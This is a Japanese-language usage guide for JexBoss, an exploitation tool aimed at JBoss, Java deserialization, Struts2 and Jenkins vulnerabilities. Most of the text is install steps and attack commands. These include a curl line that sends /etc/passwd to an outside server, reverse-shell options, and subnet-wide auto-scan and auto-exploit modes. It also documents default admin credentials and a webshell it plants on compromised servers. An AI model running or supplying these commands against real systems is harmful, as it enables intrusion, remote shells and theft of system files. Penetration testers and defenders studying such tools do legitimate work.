
JexBoss: Jboss(およびJavaデシリアライゼーションの脆弱性)の検証と悪用ツール
JexBossは、JBoss Application Serverやその他のJavaプラットフォーム、フレームワーク、アプリケーションなどの脆弱性をテストし、悪用するためのツールです。
JexBossの最新バージョンをインストールするには、以下のコマンドを使用してください。
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
または:
最新バージョンを https://github.com/joaomatosf/jexboss/archive/master.zip からダウンロード
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
CentOSでPython 2.6を使用している場合は、Python2.7をインストールしてください。 Collections Software sclを使用したCentOSへのPython 2.7のインストール例:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
Windowsを使用している場合、Git Bash を使用してJexBossを実行できます。以下の手順に従ってください。
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
このツールとエクスプロイトは以下に対して開発・テストされています。
悪用ベクターは以下の通りです:
$ python jexboss.py

$ python jexboss.py -u http://192.168.0.26:8080

$ python jexboss.py -h
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt


JBossサーバーを悪用した後、jexbossの独自コマンドシェルを使用するか、以下のコマンドを使用してリバース接続を実行できます:
jexremote=YOUR_IP:YOUR_PORT
例:
Shell>jexremote=192.168.0.10:4444

Javaデシリアライゼーション脆弱性(アプリケーションデシリアライゼーション、サーブレットデシリアライゼーション)を悪用する場合、デフォルトのオプションはリバースシェル接続を行うか、実行するコマンドを送信することです。
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
optional arguments:
-h, --help このヘルプメッセージを表示して終了
--version プログラムのバージョン番号を表示して終了
--auto-exploit, -A エクスプロイトコードを自動送信(許可がある場合のみ使用してください!!!)
--disable-check-updates, -D
2つの更新チェックを無効にする: 1) 悪用されたサーバー上のwebshellによる http://webshell.jexboss.net/jsp_version.txt の更新チェック、2) jexbossクライアントによる http://joaomatosf.com/rnp/releases.txt の更新チェック
-mode {standalone,auto-scan,file-scan}
動作モード(デフォルト: standalone)
--app-unserialize, -j HTTPパラメータ(例: javax.faces.ViewState、oldFormDataなど)におけるJavaデシリアライゼーション脆弱性をチェック
--servlet-unserialize, -l
サーブレット(Invokerインターフェースなど)におけるJavaデシリアライゼーション脆弱性をチェック
--jboss JBOSSベクターのみチェック
--jenkins Jenkins CLIベクターのみチェック
--jmxtomcat TomcatのJMX JmxRemoteLifecycleListenerをチェック(CVE-2016-8735およびCVE-2016-8735)。注意: デフォルトではチェックされません。
--proxy PROXY, -P PROXY
ターゲットURLへの接続にHTTPプロキシを使用(例: -P http://192.168.0.1:3128)
--proxy-cred LOGIN:PASS, -L LOGIN:PASS
プロキシ認証資格情報(例: -L name:password)
--jboss-login LOGIN:PASS, -J LOGIN:PASS
JBoss 5およびJBoss 6のadmin-consoleエクスプロイト用のJBossログインとパスワード(デフォルト: admin:admin)
--timeout TIMEOUT タイムアウト接続までの待機秒数(デフォルト 3)
スタンドアロンモード:
-host HOST, -u HOST チェックするホストアドレス(例: -u http://192.168.0.10:8080)
詳細オプション(アプリケーション層でのJavaデシリアライゼーション悪用時に使用):
--reverse-host RHOST:RPORT, -r RHOST:RPORT
アプリケーション層でのJavaデシリアライゼーション脆弱性悪用時のリバースシェル用リモートホストアドレスとポート(現在、*nixシステムでのみ動作)(例: 192.168.0.10:1331)
--cmd CMD, -x CMD ターゲットで実行する特定のコマンドを送信(例: curl -d @/etc/passwd http://your_server)
--windows, -w コマンドがWINDOWSシステム用であることを指定(cmd.exe)
--post-parameter PARAMETER, -H PARAMETER
シリアライズオブジェクトを見つけて注入するパラメータを指定(例: -H javax.faces.ViewState または -H oldFormData(<- Hi PayPal =X)など)(デフォルト: javax.faces.ViewState)
--show-payload, -t 生成されたペイロードを表示
--gadget {commons-collections3.1,commons-collections4.0,groovy1}
ペイロードを自動生成するガジェットの種類を指定(デフォルト: commons-collections3.1、JenKinsの場合はgroovy1)
--load-gadget FILENAME
ファイルから独自のガジェットを提供(RAWモードのJavaシリアライズオブジェクト)
--force, -F -uパラメータで指定されたURLにJavaシリアライズガジェットを強制的に送信。このオプションは、ペイロードを複数の形式(例: RAW、GZIPED、BASE64)および異なるContent-Typeで送信します。
自動スキャンモード:
-network NETWORK CIDR形式でチェックするネットワーク(例: 10.0.0.0/8)
-ports PORTS 各ホストに対してチェックするポートのカンマ区切りリスト(例: 8080,8443,8888,80,443)
-results FILENAME 自動スキャン結果を保存するファイル名
ファイルスキャンモード:
-file FILENAME_HOSTS スキャンするホストリストを含むファイル名(1行に1ホスト)
-out FILENAME_RESULTS ファイルスキャン結果を保存するファイル名